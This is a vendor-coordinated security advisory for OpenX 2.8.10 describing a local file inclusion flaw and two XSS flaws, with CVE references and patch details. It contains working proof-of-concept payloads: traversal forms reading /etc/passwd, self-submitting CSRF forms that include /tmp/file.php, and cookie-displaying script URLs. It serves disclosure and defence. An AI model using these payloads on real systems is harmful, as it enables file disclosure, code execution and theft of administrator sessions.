Advisory ID: HTB23155
Product: OpenX
Vendor: OpenX
Vulnerable Version(s): 2.8.10 and probably prior
Tested Version: 2.8.10
Vendor Notification: May 8, 2013 
Vendor Patch: June 28, 2013 
Public Disclosure: July 3, 2013 
Vulnerability Type: PHP File Inclusion [CWE-98], Cross-Site Scripting [CWE-79]
CVE References: CVE-2013-3514, CVE-2013-3515
Risk Level: High 
CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenX, which can be exploited to execute arbitrary PHP code, perform Cross-Site Scripting (XSS) attacks and compromise vulnerable system. 


1) Local File Inclusion in OpenX: CVE-2013-3514

Input passed via "group" HTTP GET parameter to "/www/admin/plugin-preferences.php" and "/www/admin/plugin-settings.php" scripts is not properly verified before being used in PHP 'include()' function and can be exploited to include arbitrary local files via directory traversal sequences and URL-encoded NULL byte techniques:

The following PoC (Proof-of-Concept) code display contents of "/etc/passwd" file on vulnerable system using vulnerability in the first script:


<form action="http://[host]/www/admin/plugin-preferences.php?group=../../../../../etc/passwd%00" method="post" name="main">
<input type="hidden" name="submitok"   value="true">
<input type="submit" id="btn">
</form>


The second PoC code displays content of "/etc/passwd" file on vulnerable system using vulnerability in the second script:


<form action="http://[host]/www/admin/plugin-settings.php?group=../../../../../etc/passwd%00" method="post" name="main">
<input type="hidden" name="submitok"   value="true">
<input type="submit" id="btn">
</form>



Successful exploitation of these vulnerabilities requires administrative privileges, however they can also be exploited by a remote non-authenticated attacker via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick logged-in OpenX administrator to open a specially crafted web page with CSRF exploit code.

Simple CSRF exploit below for the first vulnerability includes and executes "/tmp/file.php" script:


<form action="http://[host]/www/admin/plugin-preferences.php?group=../../../../../tmp/file.php%00" method="post" name="main">
<input type="hidden" name="submitok"   value="true">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


Simple CSRF exploit below for the second vulnerability includes and executes "/tmp/file.php" script:


<form action="http://[host]/www/admin/plugin-settings.php?group=../../../../../tmp/file.php%00" method="post" name="main">
<input type="hidden" name="submitok"   value="true">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>



2) Cross-Site Scripting (XSS) in OpenX: CVE-2013-3515

2.1 The vulnerability exists due to insufficient filtration of user-supplied data in "package" HTTP GET parameter passed to "/www/admin/plugin-index.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies:

http://[host]/www/admin/plugin-index.php?action=disable&package=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


2.2 The vulnerability exists due to insufficient filtration of user-supplied data in "group" HTTP GET parameter passed to "/www/admin/plugin-settings.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in his browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display administrator's cookies:

http://[host]/www/admin/plugin-settings.php?group=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

-----------------------------------------------------------------------------------------------

Solution:

Fixed by Vendor in SVN repository, revision 82710.

Replace the following files:
[CWE-98] https://svn.openx.org/openx/trunk/www/admin/plugin-preferences.php
[CWE-79] https://svn.openx.org/openx/trunk/www/admin/plugin-index.php
[CWE-79] https://svn.openx.org/openx/trunk/www/admin/plugin-settings.php

A diff file is available here:
https://www.htbridge.com/advisory/HTB23155-openx-changeset-82710.diff

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23155 - https://www.htbridge.com/advisory/HTB23155 - Multiple Vulnerabilities in OpenX.
[2] OpenX  - http://www.openx.com - OpenX is an open source ad serving platform for publishers.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.